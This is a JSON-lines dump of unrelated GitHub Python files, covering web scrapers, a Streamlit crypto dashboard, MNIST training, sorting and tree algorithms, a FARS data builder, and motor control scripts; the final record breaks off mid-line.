self._output_performance()\n","repo_name":"AaronXxx1024/Event_Driven_Algo_Trading_Framework_with_Strategies_Implementation_and_Hyperparameter_Optimization","sub_path":"portfolio/backtest.py","file_name":"backtest.py","file_ext":"py","file_size_in_byte":5433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"70883604243","text":"#!/usr/bin/env python\nimport unittest\nfrom latex2mathml import symbols_parser\n\n__author__ = \"Ronie Martinez\"\n__copyright__ = \"Copyright 2016-2017, Ronie Martinez\"\n__credits__ = [\"Ronie Martinez\"]\n__license__ = \"MIT\"\n__maintainer__ = \"Ronie Martinez\"\n__email__ = \"ronmarti18@gmail.com\"\n__status__ = \"Development\"\n\n\nclass SymbolParserTest(unittest.TestCase):\n def test_operator_plus(self):\n self.assertEqual('0002B', symbols_parser.convert_symbol('+'))\n\n def test_alias_command(self):\n self.assertEqual('02192', symbols_parser.convert_symbol(r'\\to'))\n\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n","repo_name":"gipplab/MathMLTools","sub_path":"mathml-converters/lib/latex2mathml/tests/symbol_parser_test.py","file_name":"symbol_parser_test.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"27342642756","text":"import requests\nimport re\n\n\ndef getResults(numPages , queryText):\n offset = 10\n results = []\n url = \"https://uncc.primo.exlibrisgroup.com/primaws/rest/pub/pnxs?blendFacetsSeparately=false&disableCache=false&getMore=0&inst=01UNCC_INST&lang=en&limit=10&multiFacets=facet_rtype,include,articles&newspapersActive=false&newspapersSearch=false&offset={OFFSET}&pcAvailability=false&q=any,contains,{QUERY}&qExclude=&qInclude=&refEntryActive=false&rtaLinks=true&scope=MyInst_and_CI&skipDelivery=Y&sort=rank&tab=Everything&vid=01UNCC_INST:01UNCC_INST\"\n\n for iteration in range(0,numPages*offset,offset):\n query = url.format(**{\"QUERY\" : queryText, \"OFFSET\" : iteration})\n print(query)\n data = requests.get(query)\n\n js = data.json()\n for doc in js[\"docs\"]:\n display = doc[\"pnx\"][\"display\"]\n if \"ispartof\" not in display:\n continue\n p = display[\"ispartof\"][0]\n title = display[\"title\"][0]\n nums = re.findall(\"\\d{4}\" , p)\n nums = [n for n in nums if int(n) > 1900 and int(n) < 2020]\n n = -1 if len(nums) == 0 else nums[0]\n results.append((title, p, n , queryText))\n\n return results\n\nr1 = getResults(5,\"rule+based+systems\")\nr2 = getResults(5,\"machine+learning+systems\")\nr3 = getResults(5,\"expert+systems\")\n\nimport pandas as pd\n\ndf = pd.DataFrame(r1+r2+r3)\ndf.columns = [\"title\" , \"Journal\" , \"Year\" , \"Query\"]\ndf[\"Year\"] = df[\"Year\"].astype(\"int32\")\ndf.head()\n\ndf.groupby(\"Query\").agg(median_year = (\"Year\" , \"median\"))\n","repo_name":"abhijeetdtu/dsba6155project","sub_path":"dsba6155project/analysis/expert_system.py","file_name":"expert_system.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19668462976","text":"# Note: whenever you have to find distance between any two nodes then that will be equal to=> distance of both the nodes from their lowest common ancesstor.\n# and here we have to find the maximum of all such distances. \n# so we will treat every node as lowest common ancesstor(because at any node we can get the ans and every node can be lowest common ancesstor) \n# and will update the ans according to the \"sum of nodes to its left + right part\"(sum of height of subtree only)\n\n# logic: just find the sum of left subtree height and right subtree height of all nodes\n# max of all will be your ans and this will be maximum only between two leaves\n# see: the solution on gfg brute force (same logic)\n# so another way of asking this Q can be \" longest path between any two leaves\".\n\n\n# optimised way ,O(n)\n# bottom up approach.\n# we can traverse recursively and store the final ans in same function as height and final ans will differ that's why made another fn\n\nclass Solution:\n def diameterOfBinaryTree(self, root: Optional[TreeNode]) -> int:\n self.ans= 0\n def Height(root): # just excatly logic of height only\n if root== None:\n return 0\n left= Height(root.left)\n right= Height(root.right)\n self.ans= max(self.ans, left+ right)\n return 1+ max(left, right)\n \n # read from here \n Height(root)\n return self.ans\n\n# Note vvi: When we will apply DP in tree then return function and ans can be different .\n# so keep updating ans seeing the possible ans and return the function accordingly.\n# at last return the ans.\n\n# e.g: \"543. Diameter Q\", \"124. Tree path sum\"","repo_name":"Ravi-0412/DSA-Program-And-Notes","sub_path":"Tree/Binary Tree/543. Diameter of Binary Tree.py","file_name":"543. Diameter of Binary Tree.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"3"} +{"seq_id":"20159837200","text":"import requests\nfrom bs4 import BeautifulSoup\n\nif __name__ == '__main__':\n def get_pokemon(URL, DOMAIN):\n\n r = requests.get(URL)\n\n if r.ok:\n soup = BeautifulSoup(r.text, 'html.parser')\n\n table = soup.find('table', {'id': 'pokedex'})\n for row in table.tbody.find_all('tr', limit=10):\n columns = row.find_all('td', limit=3)\n name = columns[1].a.text\n tipo = [a.text for a in columns[2].find_all('a')]\n\n link = DOMAIN+columns[1].a['href']\n\n r_specie = requests.get(link)\n if r_specie.ok:\n species_content = r_specie.text\n\n species_soup = BeautifulSoup(\n species_content, 'html.parser')\n table_species = species_soup.find(\n 'table', class_='vitals-table')\n\n name_species = table_species.tbody.find_all('tr')[\n 2].td.text\n\n print(f'Soy {name} y mi tipo es:', *tipo,\n f'mi especie es {name_species}', link, '\\n')\n # print(name + ':', *tipo)\n\n\nget_pokemon('https://pokemondb.net/pokedex/all', 'https://pokemondb.net')\n","repo_name":"YonierGomez/web_scraper","sub_path":"project/poke.py","file_name":"poke.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6624604466","text":"import binance_database\nfrom binance_database import update_all\nimport binance_calculations\nfrom binance_calculations import binance_timeframes, binance_conn, pull_datatable, perp_spot_basis, imm1, \\\n imm_perp_basis, imm_spot_basis, binance_timeframes_rolling, old_carry, new_carry\nfrom datetime import datetime, timedelta\nimport streamlit as st\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nfrom Utilities import trace_candlestick_chart\nimport base64\n\nkline_columns = ['Open', 'High', 'Low', 'Close', 'Volume']\nbasis_columns = ['Annualised_Open', 'Annualised_High', 'Annualised_Low', 'Annualised_Close']\n\n\ndef get_table_download_link(df, filename):\n \"\"\"Generates a link allowing the data in a given panda dataframe to be downloaded\n in: dataframe\n out: href string\n \"\"\"\n csv = df.to_csv(index=True)\n b64 = base64.b64encode(csv.encode()).decode() # some strings <-> bytes conversions necessary here\n href = f'Download csv file'\n return href\n\n\n# streamlit run C:/Users/ambam/PycharmProjects/Scrypt_2021/app.py\n# START WEBPAGE HERE --------------------------------------------------------\n\nst.set_page_config(layout=\"wide\")\nst.title(\"Scrypt Dashboard\")\noption = st.sidebar.selectbox(\"Which Dashboard?\", ('Binance', 'FTX', 'BitMex'), 0)\n\nif option == 'Binance':\n # Update data button\n update = st.sidebar.button('Update Data')\n if update:\n update_all(offset=5)\n\n # Parameters\n connection = binance_conn\n timeframe = st.sidebar.selectbox(\"Timeframe\", binance_timeframes, 0, key='binance_timeframe')\n since = st.sidebar.date_input(\"Start Date\", value=datetime(2021, 6, 1, 0, 0, 0))\n start_time = datetime.combine(since, datetime.min.time())\n crypto = st.sidebar.selectbox(\"Crypto\", ('BTCUSDT', 'ETHUSDT'), 1)\n cols = st.columns(3)\n\n with cols[0]:\n st.header(\"Perp Data\")\n # Load Perp Data\n perp = pull_datatable('securities_kline', crypto, connection, timeframe=timeframe)[kline_columns]\n perp = perp.loc[start_time:]\n # Load Funding Data\n funding = pull_datatable('securities_funding', crypto, connection, timeframe='1h').fillna(method='ffill')\n funding = funding.loc[start_time:]\n # Load Perp_Spot Basis\n perp_spot = perp_spot_basis(crypto, connection, timeframe)\n perp_spot = perp_spot.loc[start_time:]\n\n # Sidebar Widgets\n funding_type = st.sidebar.selectbox(\"Funding Type?\", ('rate', 'rate_24hr', 'rate_24hr_annualised'), 2)\n window_adj = binance_timeframes_rolling[timeframe]\n lookback_window = st.sidebar.number_input('Lookback Window (Days)', min_value=1, value=14) * window_adj\n\n fig_0 = make_subplots(rows=4, cols=1,\n subplot_titles=(\"Price\", \"Rolling Perp Std\", \"Funding\", \"Perp Spot Basis\"))\n\n # fig_0.add_trace(trace_candlestick_chart(perp, 'perp'), row=1, col=1)\n\n fig_0.add_trace(go.Scatter(x=perp.index, y=perp['Open']),\n row=1, col=1)\n\n fig_0.add_trace(go.Scatter(x=perp.index, y=perp.rolling(window=lookback_window).std()['Open']),\n row=2, col=1)\n\n fig_0.add_trace(go.Scatter(x=funding.index, y=funding[funding_type]),\n row=3, col=1)\n\n # fig_0.add_trace(go.Scatter(x=perp_spot.index, y=perp_spot['Open'], name='funding'),\n # row=3, col=1)\n\n fig_0.add_trace(go.Scatter(x=perp_spot.index, y=perp_spot['Annualised_Open']),\n row=4, col=1)\n\n fig_0.update_layout(height=1200, width=600, xaxis_rangeslider_visible=False)\n st.plotly_chart(fig_0)\n\n # Load Data For Viewing\n st.subheader('Perp Data')\n st.write(perp)\n st.markdown(get_table_download_link(perp, crypto + '_perp_data'), unsafe_allow_html=True)\n st.subheader('Funding Data')\n st.write(funding)\n st.markdown(get_table_download_link(funding, crypto + '_funding_data'), unsafe_allow_html=True)\n st.subheader('Perp Spot Basis Data')\n st.write(perp_spot)\n st.markdown(get_table_download_link(perp_spot, crypto + '_perp_spot'), unsafe_allow_html=True)\n\n with cols[1]:\n st.header(\"Imm Data (usd mode)\")\n # Load IMM Data\n imm = imm1(crypto, connection, timeframe)[kline_columns]\n imm = imm.loc[start_time:]\n # Load IMM_PERP\n imm_perp = imm_perp_basis(crypto, connection, timeframe)\n imm_perp = imm_perp.loc[start_time:]\n # Load IMM_SPOT\n imm_spot = imm_spot_basis(crypto, connection, timeframe)\n imm_spot = imm_spot.loc[start_time:]\n\n fig_1 = make_subplots(rows=4, cols=1,\n subplot_titles=(\"IMM Price\", \"Rolling IMM Std\", \"IMM Perp Spread\", \"IMM PERP Basis\"))\n\n # fig_1.add_trace(trace_candlestick_chart(imm, 'imm'), row=1, col=1)\n\n fig_1.add_trace(go.Scatter(x=imm.index, y=imm['Open']),\n row=1, col=1)\n\n fig_1.add_trace(go.Scatter(x=imm.index, y=imm.rolling(window=lookback_window).std()['Open']),\n row=2, col=1)\n\n fig_1.add_trace(go.Scatter(x=imm_perp.index, y=imm_perp['Open']),\n row=3, col=1)\n\n # fig_0.add_trace(go.Scatter(x=perp_spot.index, y=perp_spot['Open'], name='funding'),\n # row=3, col=1)\n\n fig_1.add_trace(go.Scatter(x=imm_perp.index, y=imm_perp['Annualised_Open']),\n row=4, col=1)\n\n fig_1.update_layout(height=1200, width=600, xaxis_rangeslider_visible=False)\n st.plotly_chart(fig_1)\n\n # Load Data For Viewing\n st.subheader('IMM Data')\n st.write(imm)\n st.markdown(get_table_download_link(imm, crypto + '_imm_data'), unsafe_allow_html=True)\n st.subheader('IMM Perp Data')\n st.write(imm_perp)\n st.markdown(get_table_download_link(imm_perp, crypto + '_imm_perp_data'), unsafe_allow_html=True)\n st.subheader('IMM Spot Data')\n st.write(imm_spot)\n st.markdown(get_table_download_link(imm_spot, crypto + '_imm_spot_data'), unsafe_allow_html=True)\n\n with cols[2]:\n # Sidebar Widgets\n carry_type = st.sidebar.selectbox(\"Carry Type?\", ('carry', 'timeadjcarry',\n 'spotvoladjcarry', 'spreadoverspotvoladjcarry'), 3)\n\n st.header(\"Carry Stats\")\n strat = st.selectbox('Strat?', ('New', 'Old'), 0)\n\n if strat == 'New':\n carry = new_carry(crypto, connection, timeframe, window=lookback_window, carry_type=carry_type)\n carry = carry[start_time:]\n elif strat == 'Old':\n carry = old_carry(crypto, connection, timeframe, window=lookback_window, carry_type=carry_type)\n carry = carry[start_time:]\n\n st.subheader('Latest Carry Metrics')\n st.write(carry.tail(1).T)\n\n fig_2 = make_subplots(rows=4, cols=1,\n subplot_titles=(\"Carry Annualised\", \"Carry Mean\", \"Carry Std\", \"Carry Z\"))\n\n fig_2.add_trace(go.Scatter(x=carry.index, y=carry['Annualised_Open']),\n row=1, col=1)\n\n fig_2.add_trace(go.Scatter(x=carry.index, y=carry['rolling_mean']),\n row=2, col=1)\n\n fig_2.add_trace(go.Scatter(x=carry.index, y=carry['rolling_std']),\n row=3, col=1)\n\n fig_2.add_trace(go.Scatter(x=carry.index, y=carry['rolling_z']),\n row=4, col=1)\n\n fig_2.update_layout(height=1600, width=600, xaxis_rangeslider_visible=False)\n st.plotly_chart(fig_2)\n\n st.subheader('Carry Data')\n st.write(carry)\n st.markdown(get_table_download_link(imm_perp, crypto + '_carry_data'), unsafe_allow_html=True)\n","repo_name":"scryptsolutions/Scrypt_Dashboard","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40651888509","text":"import logging\nfrom uuid import UUID\nfrom django.contrib.auth.models import User\nfrom reader.domain_models import Item as ItemDM\nfrom reader.models import Item\nfrom reader.exceptions import ItemNotFoundExcpetion\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass ItemsRepository:\n def get_all_user_items(\n self,\n user_id: UUID,\n unread_items_only: bool = False,\n offset: int = 0,\n limit: int = 100\n ) -> tuple[list[ItemDM], int]:\n items = Item.objects.filter(owner=User(id=user_id))\n if unread_items_only:\n items = items.filter(is_read=False)\n\n items_count = items.count()\n\n return (\n [i.to_domain_model() for i in items[offset:offset+limit]],\n items_count\n )\n\n def mark_user_item_as_read(\n self, user_id: UUID, item_id: UUID, is_read: bool\n ) -> ItemDM:\n try:\n item = Item.objects.get(id=item_id, owner=User(id=user_id))\n except Item.DoesNotExist as e:\n msg = f'Item {item_id} not found'\n raise ItemNotFoundExcpetion(msg)\n \n item.is_read = is_read\n item.save()\n \n return item.to_domain_model()\n \n def get_user_item(self, user_id: UUID, item_id: UUID) -> ItemDM:\n try:\n item = Item.objects.get(id=item_id, owner=User(id=user_id))\n except Item.DoesNotExist as e:\n msg = f'Item {item_id} not found'\n raise ItemNotFoundExcpetion(msg)\n \n return item.to_domain_model()\n \n","repo_name":"iahvector/sendcloud-rss-reader","sub_path":"rssreader/reader/repositories/items_repository.py","file_name":"items_repository.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15634958612","text":"# This function takes a list of dictionaries (items) and a list of fields (fields).\n\n# It should return a copy of items where each dictionary only contains the fields listed in fields.\n\n# Example:\n\n# items = [\n# {\"a\": 1, \"b\":2, \"c\": 3},\n# {\"a\":3, \"size\": 4},\n# {\"b\": 5, \"d\": 7}\n# ]\n# fields = [\"a\", \"b\"]\n# result = just_these_fields(items, fields)\n# print(result) # -->\n# # [\n# # {\"a\": 1, \"b\": 2},\n# # {\"a\":3},\n# # {\"b\": 5}\n# # ]\n\n\ndef just_these_fields(items, fields):\n result = []\n\n # loop over the things, do something with each one\n for i in items:\n dict = {}\n for j in fields:\n if j in i:\n dict[j] = i[j]\n if dict:\n result.append(dict)\n\n return result\n\n\n\n\n# SOLN\ndef just_these_fields(items, fields):\n result = []\n\n # loop over the things, do something with each one\n for old_dict in items:\n new_dict = {}\n for key in fields:\n if key in old_dict:\n new_dict[key] = old_dict[key]\n result.append(new_dict)\n\n return result\n\n\n\nitems = [\n {\"a\": 1, \"b\":2, \"c\": 3},\n {\"a\":3, \"size\": 4},\n {\"b\": 5, \"d\": 7}\n]\nfields = [\"a\", \"b\"]\nresult = just_these_fields(items, fields)\nprint(result)\n","repo_name":"kariscourey/hr-mod2-w1-practice-problems","sub_path":"problems/w2/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12358159239","text":"import sys, os\nsys.path.append(os.pardir)\nimport numpy as np\n#import matplotlib.pyplot as plt\nfrom dataset.mnist import load_mnist\nfrom two_layer_net import TwoLayerNet\n\nimport pickle\n\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True, one_hot_label=True)\n\nnetwork = TwoLayerNet(input_size=784, hidden_size=50, output_size=10)\n\niters_num = 10000\ntrain_size = x_train.shape[0]\nbatch_size = 100\nlearning_rate = 0.1\n\ntrain_loss_list = []\ntrain_acc_list = []\ntest_acc_list = []\n#iters_nums = [] # edit\n#epochs = [] # edit\n\n#iter_per_epoch = max(train_size / batch_size, 1)\n\nfor i in range(iters_num):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n \n grad = network.gradient(x_batch, t_batch)\n \n for key in ('W1', 'b1', 'W2', 'b2'):\n network.params[key] -= learning_rate * grad[key]\n \n loss = network.loss(x_batch, t_batch)\n train_loss_list.append(loss)\n# iters_nums.append(i) # edit\n \n # \n if (i % 100 == 0):\n print('i:%d, loss:%f' % (i, loss))\n #\n \n if i % 1000 == 0:\n train_acc = network.accuracy(x_train, t_train)\n test_acc = network.accuracy(x_test, t_test)\n train_acc_list.append(train_acc)\n test_acc_list.append(test_acc)\n print('train_acc:%f, test_acc:%f' % (train_acc, test_acc))\n# epochs.append(i)\n\n#x = np.array(iters_nums)\n#y = np.array(train_loss_list)\n#plt.plot(x, y)\n#plt.show()\n#\n#x1 = np.array(epochs);\n#y1 = np.array(test_acc_list);\n#plt.plot(x1, y1)\n#plt.show()\n\n# pickle\nwith open('params.pickle', mode='wb') as f:\n pickle.dump(network.params, f)","repo_name":"matsuchiyo/number-recognition","sub_path":"webapps/ch05/train_neuralnet.py","file_name":"train_neuralnet.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30773038522","text":"for test_case in range(int(input())):\n result = 0\n count = 0\n\n N = int(input())\n dol = list(map(int, input().split()))\n dol = list(map(abs, dol))\n\n result = min(dol)\n count = dol.count(result)\n\n print(f'#{test_case+1} {result} {count}')","repo_name":"Lucas0105/algorithm","sub_path":"python/swea/D1_D2/swea_1285.py","file_name":"swea_1285.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"40797514427","text":"import pandas as pd\r\nimport os\r\nimport logging\r\nimport shutil\r\n\r\nlogger = logging.getLogger(__name__)\r\nlogger.setLevel(logging.DEBUG)\r\n\r\n# create handlers and set levels\r\nstream_handler = logging.StreamHandler()\r\nfile_handler = logging.FileHandler(\"extract_best_worse_middle_colorization.log\")\r\nstream_handler.setLevel(logging.INFO)\r\nfile_handler.setLevel(logging.DEBUG)\r\n\r\n# create formatters and add them to handlers\r\nstream_formatter = logging.Formatter('%(name)s - %(levelname)s - %(message)s')\r\nfile_formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\nstream_handler.setFormatter(stream_formatter)\r\nfile_handler.setFormatter(file_formatter)\r\n\r\n# add handlers to logger\r\nlogger.addHandler(stream_handler)\r\nlogger.addHandler(file_handler)\r\n\r\n\r\ndef main():\r\n data = pd.read_excel('best_middle_worst_colorization.xlsx', None)\r\n\r\n if not os.path.isdir('extract_best_worse_middle_colorization'):\r\n os.mkdir('extract_best_worse_middle_colorization')\r\n\r\n for sheet_name, content in data.items():\r\n for index, row in content.iterrows():\r\n cartoon = row['cartoon']\r\n image_number = row['image_number']\r\n value = row.iat[2]\r\n path = os.path.join('merge_images', cartoon, 'merged_{}'.format(cartoon), image_number)\r\n logger.info(path)\r\n new_name = '{}-{}-{}-{}'.format(sheet_name.split('.')[0], value, cartoon, image_number)\r\n logger.info(new_name)\r\n\r\n try:\r\n shutil.copy2(path, os.path.join('extract_best_worse_middle_colorization', new_name))\r\n except Exception as e:\r\n logger.exception(e)\r\n logger.error(path)\r\n logger.error(new_name)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"vickyorlo/DeepCartoonColorizer","sub_path":"extract_best_worse_middle_colorization.py","file_name":"extract_best_worse_middle_colorization.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"38041044450","text":"'''\n Ordenação bolha - Classifica os elementos efetuando trocas entre um elemento adjacente e outro\n Fácil de entender e implementar\n Torna-se lento em uma estrutura com grandes dados\n\n Passos:\n 1. Pegue o tamanho da lista/array\n 2. Crie 2 laços de repetição, um dentro do outro\n 3. O primeiro for vai percorrer de i=0 até o tamanho da lista. Crie a variável \"troca\" e defina como False\n 4. O segundo laço vai percorrer de j=0 até (tamanho da lista - valor atual de i - 1)\n 5. Dentro do segundo for haverá uma checagem se lista[j] > lista[j+1]. Se sim haverá troca e a variável \"troca\" se torna True\n 6. Logo após a declaração do segundo for, mas agora dentro do primeiro for faça uma checagem\n se a variável troca é False, se sim dê um comando break e encerre o algoritmo \n\n'''\ndef bubbleSort(lista):\n tam = len(lista)\n for i in range(tam):\n troca = False\n for j in range(0,tam-i-1):\n if lista[j]>lista[j+1]:\n lista[j],lista[j+1] = lista[j+1],lista[j]\n troca = True\n if not troca:\n break\n\nlista = [8,14,3,25,7,16,4,33]\nprint('Lista desordenada: ',lista)\nbubbleSort(lista)\nprint('Lista ORDENADA: ',lista)","repo_name":"thiagorocco/Algoritmos-Fase1-DesenvolvendoMe","sub_path":"02-SortingAlgorithms_Algoritmos_de_ordenação/01-bubble_sort_ordenação_bolha.py","file_name":"01-bubble_sort_ordenação_bolha.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14481898099","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 27 10:07:15 2020\r\n\r\n@author: Mitchell Abrams\r\n\r\n\"\"\"\r\nimport datetime\r\n\r\nimport pandas as pd\r\n#import extra_info as ei\r\n\r\nfrom pathlib import Path\r\nimport pickle\r\n\r\nfrom time import sleep\r\n\r\nNOW = datetime.datetime.now()\r\n\r\ndef get_renaming(mappers, year):\r\n \"\"\"Get original to final column namings.\"\"\"\r\n renamers = {}\r\n for code, attr in mappers.items():\r\n renamers[code] = attr['df_name']\r\n return renamers\r\n\r\n\r\ndef year_mapper(mappers, year):\r\n # Take mapper for the data file\r\n # Iterate through: for each sub-dictionary that was implemented before\r\n # and discontinued after this year\r\n cur_mapper = {code: {} for code in mappers.keys()}\r\n for code, detail in mappers.items():\r\n discon = detail['discontinued']\r\n if not discon:\r\n discon = NOW.year\r\n\r\n if detail['implemented'] <= year <= discon:\r\n # CONDITIONAL FOR RENAMING VARIABLES THAT CHANGED NAMES\r\n if detail['df_name']:\r\n code = detail['df_name']\r\n if detail['lookup']:\r\n cur_mapper[code] = detail['mappers'][year]\r\n\r\n return cur_mapper\r\n\r\n\r\ndef load_sheets(t_list=None,\r\n table_folder=Path(__file__).parent.resolve() / \"lookup_tables\"):\r\n \"\"\"Load mapping for given sheets.\r\n\r\n Loads a list of .xlsx files from disk as named in `t_list`. Generates a\r\n nested dict through which individual codes can be accessed and decoded to\r\n a human-readable format.\r\n\r\n Parameters\r\n ----------\r\n table_folder: Path-like\r\n Path to folder with lookup tables. Defaults to \"lookup_tables\"\r\n folder in current directory.\r\n t_list : list, optional\r\n List of code sheets to load and map. The default is:\r\n ['Accident', 'Vehicle', ' Person', 'Vehnit'].\r\n\r\n Returns\r\n -------\r\n mappers : multi-level nested dict\r\n `mappers` is a nested dictionary. Level hierarachy is:\r\n File_Name:\r\n Field_Name:\r\n `description`: str\r\n Short description of field.\r\n `discontinued`: float64 or bool\r\n Last year variable appears in data set.\r\n False if not yet discontinued.\r\n `implemented`: float64\r\n First year variable appears in data set\r\n `mappers`: dict\r\n YEAR: dict (keys are int)\r\n key:value pairs by year\r\n `df_name`: str\r\n Variable name to use in dataframe\r\n\r\n See Also\r\n --------\r\n lookup: Generate dictionary mapping for single code in a single year.\r\n\r\n \"\"\"\r\n if t_list is None:\r\n t_list = ['Accident', 'Vehicle', 'Person', 'Vehnit']\r\n\r\n mappers = {}\r\n\r\n template = {'description': None,\r\n 'rename': False,\r\n 'implemented': 1975,\r\n 'discontinued': False,\r\n 'dtype': None,\r\n 'lookup': False,\r\n 'mappers': None,}\r\n #table_folder = Path(__file__).parent.resolve()\r\n for table in t_list:\r\n\r\n target_table = table_folder / f\"{table}.xlsx\"\r\n\r\n df = pd.read_excel(target_table, sheet_name=None)\r\n\r\n df['Summary']['Year_Discontinued'].fillna(int(NOW.year), inplace=True)\r\n df['Summary']['Years_Skipped'].fillna(-1, inplace=True)\r\n df['Summary'].set_index('Code', inplace=True)\r\n\r\n mapper = {code: template.copy()\r\n for code in df['Summary'].index.values}\r\n\r\n summary = df['Summary']\r\n\r\n for code in mapper.keys():\r\n\r\n impl = summary.at[code, 'Year_Implemented']\r\n discon = summary.at[code, 'Year_Discontinued']\r\n df_name = summary.at[code, 'Rename']\r\n\r\n mapper[code] = {'description': summary.at[code, 'Description'],\r\n 'use_name': summary.at[code, 'Use_Sheet'],\r\n 'implemented': impl,\r\n 'discontinued': discon if discon != 2020 else False,\r\n 'lookup': bool(summary.at[code, 'Lookup']),\r\n 'df_name': df_name if not pd.isna(df_name) else code\r\n }\r\n lookup_me = mapper[code]['lookup']\r\n\r\n if lookup_me:\r\n mapper[code]['mappers'] = {yr: {} for\r\n yr in range(impl, int(discon)+1)}\r\n if not pd.isna(summary.at[code, 'Coded_In']):\r\n secondary_target = table_folder / \"{}.xlsx\".format(\r\n summary.at[code, 'Coded_In'])\r\n target_sheet = pd.read_excel(\r\n secondary_target,\r\n summary.at[code, 'Use_Sheet'])\r\n else:\r\n target_sheet = df[mapper[code]['use_name']]\r\n #print(code)\r\n for year in range(impl, int(discon)+1):\r\n if impl <= year <= discon:# and discon >= year:\r\n mapper[code]['mappers'][year] = dict(\r\n lookup(target_sheet, year))\r\n else:\r\n mapper[code]['mappers'] = None\r\n\r\n mappers[table] = mapper.copy()\r\n\r\n return mappers\r\n\r\n\r\ndef lookup(code_table, year):\r\n \"\"\"Generate a dictionary mappping for the key-value pairing for one code.\r\n\r\n Filters a dataframe to contain only code mappings valid during the\r\n specified `year`. Returns the dictionary representation of these code\r\n mappings (code:decoded_value format). Typically, encoded values are int\r\n and decoded values are str.\r\n\r\n Parameters\r\n ----------\r\n code_table : pd.DataFrame\r\n Dataframe with all key-value mappings for all years for a single code.\r\n year : int\r\n The year to pull mappings for.\r\n\r\n Returns\r\n -------\r\n dict\r\n Returns a dictionary with the key:value mapping for `year`.\r\n\r\n See Also\r\n --------\r\n load_sheets: loads the data sheets and passes to this for mapping\r\n \"\"\"\r\n cur_lookup = code_table.fillna({'Year_Implemented': 1975,\r\n 'Year_Discontinued': 2020})\r\n cur_lookup = cur_lookup.query(\"Year_Implemented <= {year} and \"\r\n \"Year_Discontinued >= {year}\".format(year=year))\r\n return pd.Series(cur_lookup['DEF'].values, index=cur_lookup['ID'].values).to_dict()\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n m = load_sheets()\r\n # for year in range(1975, 2019):\r\n # year_mapper(m['Accident'], year)\r\n # year_mapper(m['Person'], year)\r\n # year_mapper(m['Vehicle'], year)\r\n # year_mapper(m['Vehnit'], year)\r\n\r\n","repo_name":"mzabrams/fars_cleaner","sub_path":"fars_cleaner/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":6805,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"30503774742","text":"#!/usr/bin/env python\n\"\"\"\nDemo on how to initialize the zero position at start up.\n\nRuns the position initialization procedure and starts to print joint positions\nwhen done.\n\"\"\"\n\nimport can\nimport time\nimport blmc.motor_data as md\nimport blmc.can_helper as ch\nfrom blmc.helper import get_time\n\n\nBITRATE = 1e6\n\n\nif __name__ == \"__main__\":\n mtr_data = md.MotorData()\n bus = can.interface.Bus(bitrate=BITRATE)\n last_print = 0\n\n # We need the position data for this to work\n ch.send_command(bus, ch.Command.send_position, 1)\n\n # Initialize the position\n md.init_position_offset(bus, mtr_data)\n time.sleep(1)\n\n # Print position data to validate initialization\n for msg in bus:\n t = get_time()\n if msg.arbitration_id == md.ArbitrationIds.position:\n mtr_data.set_position(msg)\n\n if last_print < t - 1:\n last_print = t\n print(\n \"pos1: {}, pos2: {}\".format(\n mtr_data.mtr1.position.value, mtr_data.mtr2.position.value\n )\n )\n","repo_name":"open-dynamic-robot-initiative/python_blmc","sub_path":"scripts/leg_init_position.py","file_name":"leg_init_position.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"12520169865","text":"# Code to link structural damage to behavioral scores\n# Author: Dhaif BEKHA.\nimport pandas as pd\nimport numpy as np\nfrom nilearn.image import load_img\nimport os\nimport glob\nimport nibabel as nb\nfrom conpagnon.utils.folders_and_files_management import save_object\nimport decimal\nimport matplotlib.pyplot as plt\nfrom nilearn.plotting import plot_glass_brain\nimport seaborn as sns\nimport statsmodels.formula.api as smf\nfrom sklearn.decomposition import TruncatedSVD\n\n\n# Set path, read subjects list\nlesions_root_directory = \"/media/db242421/db242421_data/AVCnn_2016_DARTEL/AVCnn_data/patients\"\ncontrols_root_directory = \"/media/db242421/db242421_data/AVCnn_2016_DARTEL/AVCnn_data/control\"\ncontrols_list_txt = 